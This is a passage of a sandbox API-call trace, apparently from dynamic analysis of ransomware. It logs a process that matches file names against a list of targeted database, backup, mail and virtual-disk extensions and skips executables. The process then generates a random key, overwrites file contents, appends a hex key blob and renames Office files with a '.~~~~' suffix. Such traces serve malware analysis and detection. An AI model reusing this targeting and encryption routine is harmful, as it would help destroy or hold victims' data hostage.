	[0140.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".dbv") returned 0x0
	[0140.084] lstrlenW (lpString=".SDF") returned 4
	[0140.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".SDF") returned 0x0
	[0140.084] lstrlenW (lpString=".dtxs") returned 5
	[0140.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".dtxs") returned 0x0
	[0140.084] lstrlenW (lpString=".db3") returned 4
	[0140.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".db3") returned 0x0
	[0140.085] lstrlenW (lpString=".OST") returned 4
	[0140.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".OST") returned 0x0
	[0140.085] lstrlenW (lpString=".dbx") returned 4
	[0140.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".dbx") returned 0x0
	[0140.085] lstrlenW (lpString=".DB3") returned 4
	[0140.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".DB3") returned 0x0
	[0140.085] lstrlenW (lpString=".DAT") returned 4
	[0140.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".DAT") returned 0x0
	[0140.085] lstrlenW (lpString=".VHDX") returned 5
	[0140.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".VHDX") returned 0x0
	[0140.085] lstrlenW (lpString=".ndf") returned 4
	[0140.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".ndf") returned 0x0
	[0140.085] lstrlenW (lpString=".DB") returned 3
	[0140.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".DB") returned 0x0
	[0140.085] lstrlenW (lpString=".sql") returned 4
	[0140.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".sql") returned 0x0
	[0140.085] lstrlenW (lpString=".MYD") returned 4
	[0140.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".MYD") returned 0x0
	[0140.085] lstrlenW (lpString=".DBT") returned 4
	[0140.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".DBT") returned 0x0
	[0140.085] lstrlenW (lpString=".ACCDB") returned 6
	[0140.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".ACCDB") returned 0x0
	[0140.085] lstrlenW (lpString=".fdb") returned 4
	[0140.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".fdb") returned 0x0
	[0140.085] lstrlenW (lpString=".bak") returned 4
	[0140.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".bak") returned 0x0
	[0140.086] lstrlenW (lpString=".myd") returned 4
	[0140.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".myd") returned 0x0
	[0140.086] lstrlenW (lpString=".DTXS") returned 5
	[0140.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".DTXS") returned 0x0
	[0140.086] lstrlenW (lpString=".ckp") returned 4
	[0140.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".ckp") returned 0x0
	[0140.086] lstrlenW (lpString=".dbt") returned 4
	[0140.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".dbt") returned 0x0
	[0140.086] lstrlenW (lpString=".db") returned 3
	[0140.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".db") returned 0x0
	[0140.086] lstrlenW (lpString=".TXT") returned 4
	[0140.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".TXT") returned 0x0
	[0140.086] lstrlenW (lpString=".MDF") returned 4
	[0140.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".MDF") returned 0x0
	[0140.086] lstrlenW (lpString=".bdb") returned 4
	[0140.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".bdb") returned 0x0
	[0140.086] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0140.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.086] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0140.088] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.088] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0140.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0140.088] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26007806369) returned 1
	[0140.088] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbce9f7d0, dwHighDateTime=0x1d60e1e)) 
	[0140.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0140.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0140.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0140.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d5e0
	[0140.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d5e0 | out: hHeap=0x300000) returned 1
	[0140.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e340
	[0140.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0140.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e340 | out: hHeap=0x300000) returned 1
	[0140.089] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0140.089] GetLastError () returned 0x0
	[0140.089] GetLastError () returned 0x0
	[0140.089] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0140.089] GetLastError () returned 0x0
	[0140.090] GetLastError () returned 0x0
	[0140.090] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0140.107] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.107] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0140.108] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0140.108] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.108] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.108] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.108] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.108] CloseHandle (hObject=0x114) returned 1
	[0140.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38e3e8
	[0140.108] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme52.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme52.css.~~~~")) returned 1
	[0140.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e3e8 | out: hHeap=0x300000) returned 1
	[0140.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0140.111] GetLastError () returned 0x0
	[0140.111] RtlWakeConditionVariable () returned 0x0
	[0140.111] GetCurrentThreadId () returned 0xaf0
	[0140.111] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".scr") returned 0x0
	[0140.111] lstrlenW (lpString=".cmd") returned 4
	[0140.111] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".cmd") returned 0x0
	[0140.112] lstrlenW (lpString=".dll") returned 4
	[0140.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".dll") returned 0x0
	[0140.112] lstrlenW (lpString=".bat") returned 4
	[0140.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".bat") returned 0x0
	[0140.112] lstrlenW (lpString=".cpl") returned 4
	[0140.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".cpl") returned 0x0
	[0140.112] lstrlenW (lpString=".sys") returned 4
	[0140.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".sys") returned 0x0
	[0140.112] lstrlenW (lpString=".msc") returned 4
	[0140.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".msc") returned 0x0
	[0140.112] lstrlenW (lpString=".com") returned 4
	[0140.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".com") returned 0x0
	[0140.112] lstrlenW (lpString=".lnk") returned 4
	[0140.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".lnk") returned 0x0
	[0140.112] lstrlenW (lpString=".msp") returned 4
	[0140.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".msp") returned 0x0
	[0140.112] lstrlenW (lpString=".pif") returned 4
	[0140.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".pif") returned 0x0
	[0140.112] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.112] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0140.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme53.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0140.114] lstrlenW (lpString=".sqb") returned 4
	[0140.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".sqb") returned 0x0
	[0140.114] lstrlenW (lpString=".ost") returned 4
	[0140.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".ost") returned 0x0
	[0140.114] lstrlenW (lpString=".txt") returned 4
	[0140.114] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".txt") returned 0x0
	[0140.115] lstrlenW (lpString=".mdt") returned 4
	[0140.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".mdt") returned 0x0
	[0140.115] lstrlenW (lpString=".BDB") returned 4
	[0140.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".BDB") returned 0x0
	[0140.115] lstrlenW (lpString=".eql") returned 4
	[0140.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".eql") returned 0x0
	[0140.115] lstrlenW (lpString=".DBF") returned 4
	[0140.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".DBF") returned 0x0
	[0140.115] lstrlenW (lpString=".EQL") returned 4
	[0140.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".EQL") returned 0x0
	[0140.115] lstrlenW (lpString=".FDB") returned 4
	[0140.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".FDB") returned 0x0
	[0140.115] lstrlenW (lpString=".EDB") returned 4
	[0140.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".EDB") returned 0x0
	[0140.115] lstrlenW (lpString=".DACPAC") returned 7
	[0140.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".DACPAC") returned 0x0
	[0140.115] lstrlenW (lpString=".VHD") returned 4
	[0140.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".VHD") returned 0x0
	[0140.115] lstrlenW (lpString=".DBV") returned 4
	[0140.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".DBV") returned 0x0
	[0140.115] lstrlenW (lpString=".dacpac") returned 7
	[0140.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".dacpac") returned 0x0
	[0140.115] lstrlenW (lpString=".sdf") returned 4
	[0140.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".sdf") returned 0x0
	[0140.115] lstrlenW (lpString=".accdb") returned 6
	[0140.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".accdb") returned 0x0
	[0140.116] lstrlenW (lpString=".DBX") returned 4
	[0140.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".DBX") returned 0x0
	[0140.116] lstrlenW (lpString=".MDT") returned 4
	[0140.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".MDT") returned 0x0
	[0140.116] lstrlenW (lpString=".SQB") returned 4
	[0140.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".SQB") returned 0x0
	[0140.116] lstrlenW (lpString=".vhd") returned 4
	[0140.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".vhd") returned 0x0
	[0140.116] lstrlenW (lpString=".bac") returned 4
	[0140.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".bac") returned 0x0
	[0140.116] lstrlenW (lpString=".mdf") returned 4
	[0140.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".mdf") returned 0x0
	[0140.116] lstrlenW (lpString=".BAK") returned 4
	[0140.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".BAK") returned 0x0
	[0140.116] lstrlenW (lpString=".BAC") returned 4
	[0140.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".BAC") returned 0x0
	[0140.116] lstrlenW (lpString=".dbs") returned 4
	[0140.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".dbs") returned 0x0
	[0140.116] lstrlenW (lpString=".vhdx") returned 5
	[0140.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".vhdx") returned 0x0
	[0140.116] lstrlenW (lpString=".NDF") returned 4
	[0140.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".NDF") returned 0x0
	[0140.116] lstrlenW (lpString=".dat") returned 4
	[0140.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".dat") returned 0x0
	[0140.116] lstrlenW (lpString=".DBS") returned 4
	[0140.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".DBS") returned 0x0
	[0140.117] lstrlenW (lpString=".CKP") returned 4
	[0140.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".CKP") returned 0x0
	[0140.117] lstrlenW (lpString=".edb") returned 4
	[0140.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".edb") returned 0x0
	[0140.117] lstrlenW (lpString=".PST") returned 4
	[0140.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".PST") returned 0x0
	[0140.117] lstrlenW (lpString=".dbf") returned 4
	[0140.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".dbf") returned 0x0
	[0140.117] lstrlenW (lpString=".SQL") returned 4
	[0140.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".SQL") returned 0x0
	[0140.117] lstrlenW (lpString=".pst") returned 4
	[0140.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".pst") returned 0x0
	[0140.117] lstrlenW (lpString=".dbv") returned 4
	[0140.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".dbv") returned 0x0
	[0140.117] lstrlenW (lpString=".SDF") returned 4
	[0140.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".SDF") returned 0x0
	[0140.117] lstrlenW (lpString=".dtxs") returned 5
	[0140.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".dtxs") returned 0x0
	[0140.117] lstrlenW (lpString=".db3") returned 4
	[0140.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".db3") returned 0x0
	[0140.117] lstrlenW (lpString=".OST") returned 4
	[0140.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".OST") returned 0x0
	[0140.117] lstrlenW (lpString=".dbx") returned 4
	[0140.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".dbx") returned 0x0
	[0140.117] lstrlenW (lpString=".DB3") returned 4
	[0140.117] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".DB3") returned 0x0
	[0140.117] lstrlenW (lpString=".DAT") returned 4
	[0140.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".DAT") returned 0x0
	[0140.118] lstrlenW (lpString=".VHDX") returned 5
	[0140.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".VHDX") returned 0x0
	[0140.118] lstrlenW (lpString=".ndf") returned 4
	[0140.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".ndf") returned 0x0
	[0140.118] lstrlenW (lpString=".DB") returned 3
	[0140.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".DB") returned 0x0
	[0140.118] lstrlenW (lpString=".sql") returned 4
	[0140.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".sql") returned 0x0
	[0140.118] lstrlenW (lpString=".MYD") returned 4
	[0140.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".MYD") returned 0x0
	[0140.118] lstrlenW (lpString=".DBT") returned 4
	[0140.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".DBT") returned 0x0
	[0140.118] lstrlenW (lpString=".ACCDB") returned 6
	[0140.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".ACCDB") returned 0x0
	[0140.118] lstrlenW (lpString=".fdb") returned 4
	[0140.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".fdb") returned 0x0
	[0140.118] lstrlenW (lpString=".bak") returned 4
	[0140.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".bak") returned 0x0
	[0140.118] lstrlenW (lpString=".myd") returned 4
	[0140.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".myd") returned 0x0
	[0140.118] lstrlenW (lpString=".DTXS") returned 5
	[0140.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".DTXS") returned 0x0
	[0140.118] lstrlenW (lpString=".ckp") returned 4
	[0140.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", lpSrch=".ckp") returned 0x0
	[0140.118] lstrlenW (lpString=".dbt") returned 4
